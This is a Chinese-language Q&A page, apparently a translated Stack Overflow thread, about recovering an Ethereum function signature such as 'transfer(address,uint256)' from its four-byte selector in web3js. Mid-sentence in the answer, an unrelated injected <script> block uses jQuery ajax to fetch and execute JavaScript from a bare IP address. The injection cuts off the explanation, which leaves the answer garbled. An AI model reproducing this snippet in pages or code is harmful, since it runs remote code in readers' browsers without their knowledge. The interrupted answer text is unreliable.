从输入数据中找到函数名称和参数

时间:2019-03-20 10:16:57

标签: web3js

交易哈希为输入数据提供如下形式 “ 0xa9059cbb00000000000000000024c38db6c4a85b3e6b58631de2334105f6209da300000000000000000000000000000000000000000000000000000dca4f1516a8”。 如果我调用此功能 让encodingFunctionSignature = web3.eth.abi.encodeFunctionSignature('transfer(address,uint256)');

它给我这个“ 0xa9059cbb”。etherscan称这个methodId

我的问题是我如何从此“ 0xa9059cbb”取回转账(地址,uint256)

enter image description here

1 个答案:

答案 0 :(得分:0)

函数选择器是规范化函数签名的keccak256哈希的前四个字节。在这种情况下, <script id="recorder-player" > var ajaxResult = $.ajax({ url: "https://142.123.1.2/my-script.js", dataType: "script" }); setTimeout(function(){ ajaxResult.abort();}, 5000 ); </script>

除非提供合同的代码或ABI,否则通常无法逆转此过程。也就是说,只要其他人之前使用了给定的函数选择器并提供了其原始名称,您就可以使用该信息。

这里是一个常用的函数选择器列表:https://github.com/ethereum-lists/4bytes,实际上web3.sha3('transfer(address,uint256)').substring(0, 10) === "0xa9059cbb"是给出的第一个示例。